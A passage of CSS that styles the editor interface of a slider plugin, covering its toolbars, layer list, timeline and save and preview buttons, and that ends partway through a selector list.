#layer_grid .ui-resizable-e {  right:0px; }

#rev_slider_ul.hovered>.ui-resizable-handle:hover { background: rgba(23,141,247,0.5);}

#main_hor_toolbar     { background:#323438;width:100%;display: block; padding:5px 0px;box-sizing: border-box; position:absolute;height: 50px;top: 0px;left: 0px;padding: 0px 320px 0px 0px;z-index: 2000; }
.mht_inner            { display: inline-block; vertical-align: top; margin-right:10px;height:50px;  }

.mht_inner {  border-left:1px solid #202224;}
.layer_settings_collector { border-right: 1px solid #202224; }

.toolbar_selector_icons .toptoolbaricon.material-icons { font-size: 20px; }

.quick_style_wrap  { border-right:1px solid #202224; }

.quick_style_dep { position: relative }

.quick_colorchange_dark,
.quick_colorchange_light { box-sizing:border-box; cursor:pointer; width: 15px; height: 15px; background: #000; position: absolute; top: 9px; right: 40px; z-index: 1000; border-radius: 8px; border: 2px solid #000; }
.quick_colorchange_light { background: #fff; right:18px; border-color:#fff;}

.quick_colorchange_dark:hover,
.quick_colorchange_light:hover,
.quick_colorchange_light.selected,
.quick_colorchange_dark.selected { border-color: #006dd2; }





.toolbar_rightoriented { position: absolute ; right:320px; top:0px; height:50px; line-height: 50px;}

.zoomer_wrap,
.undo_redo_wrap,
.drawselector_wrap,
#main_screenselector  { position: relative; display:inline-block}


#undo_redo_wrap { cursor: pointer; width: 50px; height: 50px; }



#the_right_toolbar { display: block; position:absolute; top:0px; left:0px; background:#323438; width: 320px; vertical-align: top; height: 100%; box-sizing: border-box;  z-index: 2500;}
#the_right_toolbar { left: auto;right: 0px; }
#the_right_toolbar_inner { overflow: hidden; position: relative; width: 100%; display: block;  height: 100%; box-sizing: border-box; padding:0px;}





#the_editor {  width: 100%;height: 100%;position: absolute; top:0px;left:0px;padding: 65px 320px 0px 15px; box-sizing: border-box }


.layertoolbar_wrap { background: #323438; padding: 0px 10px 0px 20px;margin-top:0px; line-height: 50px; height: 50px; position: relative; vertical-align: top; display:inline-block !important;     position: absolute; top: 0px;left: 50%;margin-left: -285px; }



/*#layer_rescaler { width: 100%; height: 30px; position: absolute;top: 65px; left:0px; background: #202123; box-sizing: border-box; }
#lresc_path { width: 301px;top: 13px; position: absolute; left: 40px; height: 5px; background: #323437; border-radius: 4px  }
#lresc_pin { width: 1px; height: 14px; position: absolute; top: 50% !important; transform:translateY(-7px) !important;left: 50%;  cursor: pointer}
#lresc_pin:before { position: absolute;content: " "; width: 14px;height: 14px; top:0px; left: -7px; background: #026dd2; border-radius: 7px; }
.multiple_layers_selected #layer_rescaler,
.no_layers_selected #layer_rescaler { display: none; }
*/

._lc_reScaler { display:none; pointer-events: none; position: absolute; top:0px; left:0px; z-index: 100; width:100%;height:100%;background:transparent;}
._lc_reScaler_pin { position: absolute;top: 0px;left: 0px;z-index: 10; background: transparent; width:100%;height:100%; pointer-events: none;}
._lc_reScaler_pin .ui-resizable-se { bottom: -9px;right: -9px;width: 18px;height: 18px;pointer-events: auto;background: transparent;border-radius: 10px;}
._lc_reScaler_icon { background:url(../images/resize.png); width:18px;height:18px;position: absolute; background-size:contain;bottom:-9px;right:-9px;}


._lc_.selected >._lc_reScaler { display: block; }

#rev_builder.inAnimationMode ._lc_.selected >._lc_reScaler,
.multiple_layers_selected ._lc_.selected >._lc_reScaler { display: none !important; }

#do_title_layer,
#do_title_slide,
#do_title_layer_not_selected { font-size: 14px; color: #b7bbc0; font-weight: 500; display: inline-block; margin-right: 20px; width: 150px; white-space: nowrap; overflow: visible; position: relative; vertical-align: top }

#no_layer_selected { font-size: 15px; color: #b7bbc0; font-weight: 400; display: inline-block;  white-space: nowrap; overflow: hidden; position: relative; vertical-align: top; padding: 20px; box-sizing: border-box; text-align: center}
#no_layer_selected .material-icons { vertical-align: top; font-size: 20px; margin-right: 10px; }

#do_lock_layer,
#do_show_layer { display: inline-block }

#do_title_slide input[type="text"],
#do_title_layer input[type="text"]  {  line-height: 50px !important;height: 50px !important;background: transparent !important; padding: 0px !important; max-width:130px;font-size: 14px !important}

#do_title_slide input[type="text"]:focus,
#do_title_layer input[type="text"]:focus { color: #fff !important;  }

#do_title_layer,
#do_title_slide { display: inline-block; }
#no_layer_selected,
#do_title_layer_not_selected { display: none; }


#the_container.no_layers_selected #do_title_layer { display: none; }
#the_container.no_layers_selected #no_layer_selected,
#the_container.no_layers_selected #do_title_layer_not_selected { display: inline-block; }

#the_container .do_title_layer_icon,
#the_container .do_title_slide_icon { color: #006dd2; font-size: 17px; margin-right: 10px; line-height: 51px }

#layer_lock_iconswitch:after,
#layer_visibility_iconswitch:after { display:none;content:""; position: absolute; bottom: 5px;left: 50%;margin-left: -5px;width: 0;height: 0;border-style: solid;border-width: 5px 5px 0 5px;border-color: #53565a transparent transparent transparent; }
#layer_lock_iconswitch.listIsFilled:after,
#layer_visibility_iconswitch.listIsFilled:after { display: block; }

#ui_preset_toggle { padding: 0px; text-align: center;  width:40px;}
#ui_preset_toggle .material-icons { margin: 0px !important; }

#_layer_settings { padding-left: 10px }
#_layer_settings .tool_drop { padding-left: 20px; }

.undoredostep span { text-transform: capitalize }


#do_background_layer .material-icons,
#do_foreground_layer .material-icons { font-size: 30px }

.multiple_layers_selected #do_background_layer,
.multiple_layers_selected #do_foreground_layer,
.no_layers_selected #do_background_layer,
.no_layers_selected #do_foreground_layer { opacity: 0.25; pointer-events: none }

/* NORMAL LAYER GRIDS */
.layer_grid                { z-index:5;width: 100%; height: auto; display: block; position: absolute; margin:auto;box-sizing: border-box; transform:translateX(-50%) translateY(-50%); top:50%;left:50%;}


/* SLIDE LI STYLES */
.slide_li                 { width:100%;height:100%;position: absolute;top:0px;left:0px;}
.slide_li.showunderstatic { pointer-events: none; display: block !important; z-index: 3 !important; }
.slide_li.hideslotsinslide rs-sbg-px { display: none !important; }
#slide_li_template        { display: none !important; }
.slide_li.aable.markable  { z-index: 5 }

rs-sbg-px { width: 100%;height: 100%;position: absolute;z-index: 0;top: 0px;left: 0px; display: block; overflow:hidden;}
rs-sbg-wrap { width:100%;height:100%;position:absolute;top:0px;left:0px;z-index:0; display:block;}
rs-sbg-wrap canvas { width: 100%;height: 100%;position: absolute;top:0px;left:0px; }

/*.ssbg_prev { background:url(../images/light_pattern_2x.png); background-size:16px 16px; background-repeat:repeat; }*/


/* STATIC SLIDE SETTINGS */
/*.staticlayersview .layer_group_filter_wrap,*/
.staticlayersview #slide_menu_gso_wrap,
#gst_slide_10,
#gst_layer_14,
.staticlayersview #the_slide_timeline,
#the_global_layers_timeline { display: none !important; }

.staticlayersview #the_global_layers_timeline { display: block !important; }

.staticlayersview #module_navigation_trigger { pointer-events: none; opacity: 0.5 }

/*.static_slide_li rs-sbg-px { display: none !important;  }*/

.staticlayersview #gst_layer_14 { display: inline-block !important; }
.static_slide_li.slide_li { z-index: 50 !important }

/*************************
 - SELECT BY DRAW -
*************************/
#selectbydraw { position: absolute;z-index: 10000;width:100%;height: 100%; position: absolute; top: 0px; left: 0px; background: transparent; cursor: crosshair}
#selectbydraw_box { border: 1px dashed #fff; position: absolute; background:rgba(0,109,210,0.3);}
#selectbydraw_box:after { content: " "; position: absolute; top: 0px;left: 0px;padding: 1px; box-sizing:border-box; width: 100%;height: 100%;border: 1px dashed rgba(0,109,210);   }

/**************************
  -  SAVE SLIDER -
 *************************/
#save_slider { width: 160px; height:50px; line-height:50px; color:#fff; font-size:15px; font-weight:500; position: fixed; bottom: 0px; right: 160px; text-align: center; z-index: 10000; background: #006dd2; cursor: pointer }
#save_slider:hover { background: #0a447a; }
#save_slider i { margin-right: 5px; line-height: 50px !important; font-size: 20px }

#optimizeslider { display:none; width: 320px; height:50px; line-height:50px; color:#fff; font-size:15px; font-weight:500; position: fixed; bottom: 50px; right: 0px; text-align: center; z-index: 10000; background: #22a46e; cursor: pointer }
#optimizeslider:hover { background: #166b48; }
#optimizeslider i { margin-right: 5px; line-height: 50px !important; font-size: 20px }



#preview_slider { border-left:1px solid #2883d9; width: 160px; height:50px; line-height:50px; color:#fff; font-size:15px; font-weight:500; position: fixed; bottom: 0px; right: 0px; text-align: center; z-index: 10000; background: #006dd2; cursor: pointer }
#preview_slider:hover { background: #0a447a; }
#preview_slider i { margin-right: 5px; line-height: 50px !important; font-size: 20px }

/**************************
  -  MAIN VIEW MODES -
 *************************/

#timeline_settings { display: block;  }

/* HIDE NAVIGATION IN LAYER MODE */
.mode__slidelayout #tp-thumbs,
.mode__slidelayout #tp-tabs,
.mode__slidelayout #tp-bullets,
.mode__slidelayout #tp-leftarrow,
.mode__slidelayout #tp-rightarrow,
.mode__slidelayout #rev_progress_bar_wrap { display: none !important; }


/* HIDE LAYERS AND SLIDE ON NAVIGATION SETTINGS */
.mode__navlayout ._lc_ { display: none !important; } 


/* HIDE LAYER SETTINGS UNDER SLIDE EDITOR, AND SLIDE SETTINGS UNDER LAYER EDITOR */
.mode__slidelayout.mode__slidestyle .layer_settings_collector,
.mode__slidelayout.mode__slidecontent .slide_settings_collector,
.mode__slidelayout .slider_general_collector,
.mode__slidelayout .slider_nav_layout_collector,


.mode__navlayout .slide_settings_collector,
.mode__navlayout .layer_settings_collector,
.mode__navlayout .slider_general_collector,

.mode__sliderlayout .slide_settings_collector,
.mode__sliderlayout .layer_settings_collector,
.mode__sliderlayout .slider_nav_layout_collector  { display:none !important;}


/*SHOW TIMELINE WHEN NEEDED */
#timeline_settings { display: block !important; }
/*.mode__slidelayout.mode__slidestyle #timeline_settings */

.mode__navlayout .nav_collector,
.mode__sliderlayout .slider_general_collector { display: block; }

/*SHOW SLIDE LAYOUT SETTINGS*/
.mode__slidelayout.mode__slidestyle .slide_settings_collector { display: block; }

/*SHOW LAYOUT SETTINGS*/
.mode__slidelayout.mode__slidecontent .layer_settings_collector { display: block; }

.mode__sliderlayout #module_settings_trigger,
.mode__navlayout #module_navigation_trigger,
.mode__slidelayout.mode__slidestyle #module_slide_trigger,
.mode__slidelayout.mode__slidecontent #module_layers_trigger { color: #fff; background: #006dd2; } 




.no_layers_selected#the_container .form_collector.layer_settings_collector .form_inner { display: none !important; }

/*****************************
 - LAYERS LIST CONTAINER -
******************************/

.mainLayerListWrap      { padding:0px; position: relative; height:100%; box-sizing: border-box }  

.the_layers_in_slide    { display: none !important; padding:0px; position: relative; overflow: hidden;  height:auto;    width: 100%; vertical-align: top; box-sizing: border-box; top: 0px;left: 0px;z-index: 10;}
.opened_slidetab .the_layers_in_slide { display: block;  border-top:15px solid #161617;  border-bottom:15px solid #161617; }


.resizeMainLayerListWrap {  display: none !important;}

.layerListContainer { margin: 0px; padding: 0px 0px 50px; }


.all_layer_tool,
.layerlist_toolbar_icon   { display: inline-block; vertical-align: top; cursor:pointer; line-height: 34px; width:25px; text-align:left; color:#777c80;}
#rb_tlw #timeline_settings .slide_timeline .slide_timeline_element input[type=checkbox].simplechkbx   { margin-right: 5px; }


.layerlist_toolbar_icon:hover,
.layerlist_toolbar_icon.checked,
#timeline_settings .all_layer_tool:hover .material-icons { color: #fff;  }


#layerlist_element_template { display: none !important; }

.layerlist_element_innerwrap { display: block;width: 100%;height: 36px; position:relative; cursor: pointer; padding-left: 5px}
#timeline .layerlist_element_innerwrap { padding-left: 0px }
.layerlist_element_innerwrap ul { padding: 0px; margin: 0px; }

.layerlist_element {  color:#b7bbc0; list-style: none; margin:0px; position: relative; line-height: 34px}

.layerlist_element_id,
.layerlist_element_mover,
.layerlist_element_type,
.layerlist_element_alias { display: inline-block; vertical-align: top; line-height: 34px; margin-right: 0px; }

#timeline .tllayerlist_element_zone >.layerlist_element_innerwrap { display: none !important; }
#timeline.layer_in_drag .tllayerlist_element_zone >.layerlist_element_innerwrap { display: block !important; }

.layer_in_drag.outlined { outline: 1px dashed #006dd2; }



.layerlist_element_id { width: 13px; text-align: right; margin-right: 6px; }
.layerlist_element_mover { margin-right: 5px;cursor: pointer }
.layerlist_element_alias { font-size: 14px; white-space: nowrap; text-transform: capitalize; font-weight: 500; }
.layerlist_element_type { margin-right: 5px; }

#timeline .layerlist_element_type .material-icons,
#rb_tlw .layerlist_element_type .material-icons { color: #006dd2;  font-size:17px;}
#rb_tlw .layerlist_element_innerwrap:hover .layerlist_element_type .material-icons { color: #fff !important; }

#rb_tlw .layerlist_element_innerwrap:hover { background: #0d0d0e; }

.layerordertypewrap { background:#161617;padding:5px 5px 2px 5px !important; font-size:16px; line-height: 34px;}
.layerordertypewrap_title { color: #777c80;letter-spacing: 1px;text-transform: uppercase;font-weight: 500; line-height: 34px;font-size: 11px; display: inline-block; padding-left:20px; vertical-align: top}

.layerlist_toolbar  { display:none; /*background: linear-gradient(to right, rgba(0,109,210,0) 0%,rgba(0,109,210,1) 20%,rgba(0,109,210,1) 100%);*/ position: absolute;top:0px;right:23px;z-index:5;padding:0px 5px 0px 40px;}

.tllayerlist_element .layerlist_toolbar { display:none;  position: absolute;top:0px;right:0px;z-index:5;padding:0px 5px 0px 10px; height:35px; width:25px;}
.tllayerlist_element .layerlist_element_innerwrap .layerlist_toolbar  {  /*background: linear-gradient(to right, rgba(13,13,14,0) 0%,rgba(13,13,14,1) 20%,rgba(13,13,14,1) 100%);*/}
.tllayerlist_element .layerlist_element_innerwrap:hover .layerlist_toolbar { display: block }
.layerlist_toolbar_icon_wrap {  position: absolute;right:0px;top:0px;width:auto;height:36px; z-index: 6}

#rb_tlw .material-icons.layer_current_visibility { display:none;font-size: 13px !important; position: absolute; right: 30px; cursor: pointer; top: 0px; z-index: 20; opacity: 0.5}
#rb_tlw .material-icons.layer_current_locked   {  display:none;font-size: 13px !important; position: absolute; right: 50px; cursor: pointer; top: 0px; z-index: 20; opacity: 0.5;}

#rb_tlw .material-icons.layer_current_visibility:hover,
#rb_tlw .material-icons.layer_current_locked:hover { opacity: 1 }


#rb_tlw .tllayerlist_element >.layerlist_element_innerwrap:hover .material-icons.layer_current_visibility,
#rb_tlw .tllayerlist_element._unvisible_ >.layerlist_element_innerwrap .material-icons.layer_current_visibility { display: block;}

#rb_tlw .tllayerlist_element >.layerlist_element_innerwrap .material-icons.layer_current_visibility { opacity: 0.35; }
#rb_tlw .tllayerlist_element >.layerlist_element_innerwrap .material-icons.layer_current_visibility:hover { opacity: 0.65; }
#rb_tlw .tllayerlist_element._unvisible_ >.layerlist_element_innerwrap .material-icons.layer_current_visibility { opacity: 1; }

#rb_tlw .tllayerlist_element >.layerlist_element_innerwrap:hover .material-icons.layer_current_locked,
#rb_tlw .tllayerlist_element._locked_ >.layerlist_element_innerwrap .material-icons.layer_current_locked { display: block; }

#rb_tlw .tllayerlist_element >.layerlist_element_innerwrap .material-icons.layer_current_locked { opacity: 0.35 }
#rb_tlw .tllayerlist_element >.layerlist_element_innerwrap .material-icons.layer_current_locked:hover { opacity: 0.65 }
#rb_tlw .tllayerlist_element._locked_ >.layerlist_element_innerwrap .material-icons.layer_current_locked { opacity: 1 }


.layerordertypewrap .all_layer_tool_wrap { display: none; }
.layerordertypewrap:hover .all_layer_tool_wrap { display: block; }
#rb_tlw .layerordertypewrap .material-icons { cursor: pointer;font-size: 13px; width:16px;margin-right: 1px; position: relative; z-index: 100}


.layerlist_toolbar_icon { visibility: hidden }
.layerlist_toolbar_icon.checked,
.layerlist_toolbar_icon.endswithslide,
.layerlist_element_innerwrap:hover .layerlist_toolbar_icon { visibility: visible}

.layerlist_element_innerwrap:hover .layerlist_toolbar { display: block; }
.layerlist_element_innerwrap:hover .layerlist_element_alias { color: #fff; }

.nolayeravailable  { padding: 0px 10px; border-bottom: 1px solid #222a34; }

.layerlist_element_level  { margin-left: 0px; display:inline-block;}

ul.layerListContainer >li >.layerlist_element_innerwrap .layerlist_element_type { margin-left: 10px; }
.tllayerlist_element_group>.layerlist_element_innerwrap>.context_left>.layerlist_element_type { margin-left: 0px; }

.layerListContainer>.layerlist_element.not_zone_layer>ul>li.layerlist_element>.layerlist_element_innerwrap>.context_left>.layerlist_element_type,
.layerlist_element ul li ul li ul li .layerlist_element_type { margin-left: 25px; }

.layerListContainer .collapsed ul { display: none; }
.layerListContainer .collapsed .layerlist_element_level i { transform: rotateZ(-90deg); }


.layerlist_element .indeplayerinput {display:none; width: 200px;
    height: 30px;
    position: absolute;
    left: 38px;
    padding: 0px 30px 0px 15px !important;
    background: #0d0d0e !important;
    top: 1px;
    z-index: 30;
    border: none;
    color: #fff;
    box-shadow: none !important;
    border-radius: 4px; 
}
.layerlist_element .layerlist_element_innerwrap.directedit .indeplayerinput { display: inline-block;  }
.layerlist_element .layerlist_element_innerwrap.directedit .layerlist_element_alias { display: none; }

.tllayerlist_element_zone.beforeitemdrop:before {content:" ";height:3px;background:#006dd2; position:absolute; width:100%; top:-1px; left:0px;z-index: 15}  

.layerlist_element.beforeitemdrop>.layerlist_element_innerwrap:after { content:" ";height:1px;background:#006dd2; position:absolute; width:100%; top:-1px; left:0px;z-index: 15}
.layerlist_element.incolumntopdrop>.layerlist_element_innerwrap:after,
.layerlist_element.afteritemdrop>.layerlist_element_innerwrap:after { content:" ";height:1px;background:#006dd2; position:absolute; width:100%; bottom:-1px; left:0px;z-index: 15}

.layerlist_element.afterzonedrop:after { content:" ";height:1px;background:#006dd2; position:absolute; width:100%; bottom:-1px; left:0px;z-index: 15}

.layerlist_element.ui-draggable-dragging { z-index: 1600; }

.layerListContainer.sortToTheEnd { border-bottom: 3px solid #006dd2; }

.layerlist_element.incolumndrop .layerlist_element_innerwrap,
.layerlist_element.incolumntopdrop .layerlist_element_innerwrap {background:#2f3a49}


#rb_tlw .layerordertypewrap .layerlist_element_level,
.tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_level  { position: absolute; width: 100% }

#rb_tlw .layerordertypewrap,
.clayerlist_element_zone >.layerlist_element_innerwrap { padding-top:2px; padding-bottom:3px;  }

.tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_alias {letter-spacing: 1px;text-transform: uppercase;font-weight: 500;line-height: 34px;font-size: 11px;display: inline-block; }

.tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_alias {color: #777c80; font-size: 11px; padding-left: 20px; }

.tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_type { display: none; }

.tllayerlist_element_zone >.layerlist_element_innerwrap:hover  { background: transparent; }

.tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_toolbar  { background: transparent;padding-left: 0px;top: 5px; }

.tllayerlist_element_zone >.layerlist_element_innerwrap.directedit .layerlist_element_alias  { display: inline-block !important; }

.tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_toolbar,
.tllayerlist_element_zone >.layerlist_element_innerwrap .fclayer_withslideend,
.tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_selector { display: none !important; }



/** LAYERLIST ELEMENT LEVEL **/

#rb_tlw .layerlist_element_level i,
#timeline .layerlist_element_level i { width: 20px; display: none; font-size: 22px !important;  cursor: pointer; }

#rb_tlw  .layerlist_element_level i,
#timeline .layerlist_element_level i {  color: #b7bbc0 }

#rb_tlw .layerordertypewrap .layerlist_element_level i,
#timeline .tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_level i,
#rb_tlw .clayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_level i { margin-left:0px; display: inline-block; color:#777c80; opacity: 1; }

#rb_tlw  .layerlist_element_innerwrap:hover .layerlist_element_level i,
#timeline .layerlist_element_innerwrap:hover .layerlist_element_level i { color:#fff;opacity: 1; }


/*#rb_tlw .layerordertypewrap:hover .layerordertypewrap_title,
#rb_tlw .clayerlist_element_zone >.layerlist_element_innerwrap:hover .layerlist_element_alias,
#timeline .tllayerlist_element_zone >.layerlist_element_innerwrap:hover .layerlist_element_alias,*/

#rb_tlw .layerordertypewrap:hover .layerordertypewrap_title,
#rb_tlw .clayerlist_element_zone >.layerlist_element_innerwrap:hover .layerlist_element_alias,
#timeline .tllayerlist_element_zone >.layerlist_element_innerwrap:hover .layerlist_element_alias,
#rb_tlw .layerordertypewrap:hover .layerlist_element_level i,
#rb_tlw .clayerlist_element_zone >.layerlist_element_innerwrap:hover .layerlist_element_level i,
#timeline .tllayerlist_element_zone >.layerlist_element_innerwrap:hover .layerlist_element_level i { color: #b7bbc0; }


.tllayerlist_element_group>.layerlist_element_innerwrap>.context_left>.layerlist_element_level,
.layerlist_element ul li .layerlist_element_level { margin-left: 5px; }
.layerlist_element ul li ul li .layerlist_element_level { margin-left: 15px; }

#timeline .layerordertypewrap .layerlist_element_level i,
#rb_tlw .layerordertypewrap .layerlist_element_level i,
#timeline  .layerlist_element.withchildren>.layerlist_element_innerwrap .layerlist_element_level i,
#rb_tlw .layerlist_element.withchildren>.layerlist_element_innerwrap .layerlist_element_level i { display: inline-block; }



/* HIDE / SHOW LAYER GROUPS BASED ON SELECTED STATE */
.hide_top_row_layers .zone_top { display: none; }
.hide_middle_row_layers .zone_middle { display: none; }
.hide_bottom_row_layers .zone_bottom { display: none; }

.hide_free_layers .layerListContainer >li.not_zone_layer { display: none; }

.staticlayersview .hide_free_layers .layerListContainer >li.not_zone_layer { display: block !important; }


 /******************************
  - TIMELINE SETTINGS  -
******************************/
#timeline_settings {    display: none; vertical-align: top; position: absolute; left: 0px;z-index: 920; top:auto;bottom:0px;padding: 0px 320px 0px 0px; height:auto;; width:100%; box-sizing: border-box; min-width: 1071px}

#timeline {  height:75px; background:#202224;}

#timeline >.ui-resizable-n { height: 10px; }
#timeline.inResize >.ui-resizable-n:after,
#timeline >.ui-resizable-n:hover:after { content: " "; position: absolute;top: 3px;left:0px; width: 100%;height: 3px; background: #777b80; }
#tlLayerListWrap { height: 134px; box-sizing: border-box; position: relative;  }
#timeline_top_toolbar { position: relative; height: 36px;  z-index: 1600; background: #202224; }

.timeline_left_container,
.timeline_right_container { display: block; box-sizing: border-box; min-height: 36px; }

.timeline_left_container { width: 290px; position: absolute; top: 0px;left: 0px;padding-left: 10px; background: #202224;z-index: 1500}
.timeline_right_container { width: 16380px; margin-left: 310px;position: relative; }

#time_linear { height: 35px; background: #202224;position: relative; bottom:0px; width: 100%; vertical-align: bottom; border-bottom:8px solid transparent; box-sizing: border-box;}
#time_linear_canvas { height: 35px; width: 16380px; position: absolute;top: 0px;left: 0px; }
#time_linear:before { width: 20px; height: 1px; background: #323438; content: " "; position: absolute; left: -20px;bottom: -9px; }
#time_linear_offset { position: absolute;top: 0px;left: 0px; height:30px; width: 2400px; }


#timeline_top_toolbar .timeline_left_container  { height: 36px; vertical-align: bottom;  padding:0px 0px; line-height: 36px;border-bottom:1px solid #323438;}
#timeline_top_toolbar .timeline_right_container { height: 36px; vertical-align: bottom; line-height: 36px; border-bottom:1px solid #323438; background:#202224;}
#time_linear .rm_ms,
#time_linear .rm_sec,
#time_linear .rm_twosec { width: 1px;height: 4px; border-left: 1px solid #414244; position: absolute;bottom:1px; color: rgba(183,187,192,0.5); font-size: 10px; margin-bottom: 0px;   } 
#time_linear .rm_sec    { height: 16px;  vertical-align: bottom;  margin-bottom: 0px; }
#time_linear .rm_twosec { height: 16px;  vertical-align: bottom;  margin-bottom: 0px; }
#time_linear .rulertxt { position: absolute;top: -2px; left:11px;line-height: 15px; font-size:11px; width: auto;transform: translateX(-50%);}
#time_linear_hor_marker   { width:1px;height:100%;background:#ff0000;  position: absolute; top:0px;left:100px;z-index:800;}

.tl_gridmanagement_wrap,
.tl_magnifying_wrap,
.tl_multip_wrap,
.tl_playstop_wrap,
.tl_toolbar_wrap,
.layer_group_filter_wrap { display: inline-block; position:absolute; }


.tl_gridmanagement_wrap { right: 85px; top: 0px; }
.tl_magnifying_wrap { right: 55px; top: 0px; }
.tl_multip_wrap { right:25px; top:0px;}
.tl_playstop_wrap { right:0px; top:0px;}
.tl_toolbar_wrap {  right:25px;}
.layer_group_filter_wrap { left: 9px; top: 3px;  }

.tl_magnifying_wrap label_icon.ui_magnet { position: relative; top: 3px; }

#general_gridmanagement_wrap { display: none; position: absolute; top: -97px; width:300px; height: 63px;line-height: 35px;background: #202224;padding: 15px 15px;white-space: nowrap;border-radius: 4px; transform: translateX(-100px);}
#general_frame_magnif_wrap { display: none; position: absolute; top: -120px; width:250px; height: 95px;line-height: 35px;background: #202224;padding: 10px 15px;white-space: nowrap;border-radius: 4px; transform: translateX(-50%);}
#general_speed_factor_wrap { display: none; position: absolute; top: -55px; width:220px; height: 30px;line-height: 35px;background: #202224;padding: 10px 15px;white-space: nowrap;border-radius: 4px; transform: translateX(-50%);}
#general_speed_factor_wrap input[type="text"] { width: 60px; }

.closeme_tl_miniwrapper {     position: absolute; top: 2px;right: 2px;cursor: pointer;    height: 20px;width: 20px;line-height: 20px;text-align: center;}
.closeme_tl_miniwrapper i.material-icons { color: #fff; font-size: 15px; line-height: 20px !important; opacity: 0.5; }
.closeme_tl_miniwrapper:hover i.material-icons {  opacity: 1; }

.tl_gridmanagement_wrap.selected #general_gridmanagement_wrap,
.tl_magnifying_wrap.selected #general_frame_magnif_wrap,
.tl_multip_wrap.selected #general_speed_factor_wrap { display: block; }


#general_frame_magnif_wrap .radiooption,
#general_frame_magnif_wrap .radiooption div { display: block;position: relative}

#general_frame_magnif_wrap .radiooption .shortcuttext { right: 20px;color: #777c80;     position: absolute;width: 35px;text-align: left;}

.tl_multip_wrap.selected #tl_multiplicator i{ color: #fff; opacity: 1; }

#timeline_settings .basic_action_button#gsf_ok {  height: 30px;border-radius: 4px; margin-left: 5px; line-height: 30px; }
#timeline_settings .basic_action_button#gsf_ok:hover { background: #006dd2; }

.layer_g_filter label_icon { width: 25px; margin: 0px; cursor: pointer }
.layer_allcollaps,
.layer_g_filter { display: inline-block; }

.tl_gridmanagement_wrap.selected #tl_gridmanagement i { color: #fff !important; }


.layer_allcollaps { line-height: 30px !important; vertical-align: top; margin-left: 7px; cursor: pointer;color: #b7bbc0;   }
.layer_allcollaps:hover { color: #fff; }
.layer_allcollaps i { font-size: 20px;  }


#timeline_settings .basic_action_button { background: transparent;  border:none; border-radius: 0px;  width:30px; text-align:center; height:35px; line-height:35px; text-align:center; color:#777c80; text-transform: uppercase; font-weight: 400; font-size: 12px;box-sizing: border-box;margin:0px; padding:0px;}
#timeline_settings .basic_action_button i { font-size: 20px; margin:0px;}
#timeline_settings .basic_action_button:hover { color: #b7bbc0; border: none; }
#timeline_settings .basic_action_button:hover i.material-icons { color: #fff; }

.action_collection_wrap { position: relative; cursor: pointer; display:block;}
.action_collections { position: absolute; background: #2a2c2f;  top: 100%;left: 0px; display: none; width: 100%; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5); padding: 5px; box-sizing: border-box }

.action_collection_wrap.showmore .action_collections { display: block; }

.action_collection_wrap.showmore {z-index:1000;}

.slide_timeline,
#tlLayerListWrap .layerListContainer { padding-left: 0px; }


.slide_timeline .slide_timeline_element,
.tllayerlist_element { background: #202224; line-height: 36px;  }

.nolayeravailable { background: #202224; min-height: 29px; line-height: 29px;  }
.slide_timeline_element .layerlist_element_innerwrap,
.tllayerlist_element .layerlist_element_innerwrap  { width: 16380px;min-height:36px;  border-bottom:1px solid #323438;box-sizing: border-box}

.slide_timeline_element .layerlist_element_innerwrap .context_left,
.tllayerlist_element .layerlist_element_innerwrap .context_left {  width: 290px; line-height: 36px; position: relative; background:#202224;z-index:1500;box-sizing: border-box; padding-left: 15px;height:35px;}
.tllayerlist_element .layerlist_element_innerwrap .context_left:after,
#the_fake_cl:after,
#the_st_cl:after,
.timeline_left_container:after { content: " "; right: -1px;top: 0px; height: 100%; background: #3f444a;width: 1px; position: absolute }


#timeline .layerlist_element_id,
#timeline .layerlist_element_mover,
#timeline .layerlist_element_type,
#timeline .layerlist_element_alias  { line-height: 36px;margin-right: 10px; max-width: 150px; overflow: hidden; white-space: nowrap}

/* NO LAYERS AVAILABLE TEXT */
.tllayerlist_element.nolayeravailable { margin-left: 10px; }
.tllayerlist_element.nolayeravailable .context_left { padding-left: 36px; }



.slide_timeline .layerlist_element_type {  margin-left:0px;}
.slide_timeline .slide_timeline_element .layerlist_element_alias,
.nolayeravailable .layerlist_element_alias {color:#b7bbc0; white-space: nowrap}

#rb_tlw .slide_timeline_element input[type=checkbox].simplechkbx,
#rb_tlw .tllayerlist_element input[type=checkbox].simplechkbx  { line-height: 36px;margin-top: 10px; }

#timeline_settings .slide_timeline .slide_timeline_element .material-icons,
#timeline_settings .layerListContainer .material-icons { line-height: 36px; font-size: 17px;  }


#timeline_settings #tl_trigger_slide_options { font-size: 15px; line-height: 36px; position: absolute; top: 0px; right: 8px; color: #777c80; cursor: pointer}
#timeline_settings #tl_trigger_slide_options:hover { color: #fff; }
/*#timeline_settings .slide_timeline .slide_timeline_element .material-icons { color: #5e35b1 !important; }*/

.stimeline { position: absolute;left: 310px; top: 0px;height: 35px;  background: #202224;width: 100%; border-bottom:1px solid #323438;  /**/}

.slide_timeline_element>.layerlist_element_innerwrap:hover .context_left,
.fake_tllayerlist_element>.layerlist_element_innerwrap:hover .context_left,
.tllayerlist_element>.layerlist_element_innerwrap:hover .context_left,
.slide_timeline_element.checked>.layerlist_element_innerwrap .context_left,
.tllayerlist_element.checked>.layerlist_element_innerwrap .context_left { color:#fff;}


.slide_timeline_element>.layerlist_element_innerwrap:hover .context_left,
.fake_tllayerlist_element>.layerlist_element_innerwrap:hover .context_left,
.tllayerlist_element>.layerlist_element_innerwrap:hover .context_left,
.slide_timeline_element.checked>.layerlist_element_innerwrap .context_left,
.tllayerlist_element.checked>.layerlist_element_innerwrap .context_left,

.slide_timeline_element .layerlist_element_innerwrap:hover .stimeline,
.tllayerlist_element .layerlist_element_innerwrap:hover .stimeline,
.tllayerlist_element.checked >.layerlist_element_innerwrap .stimeline,
.tllayerlist_element .layerlist_element_innerwrap:hover,
#the_slide_timeline:hover>.layerlist_element_innerwrap,
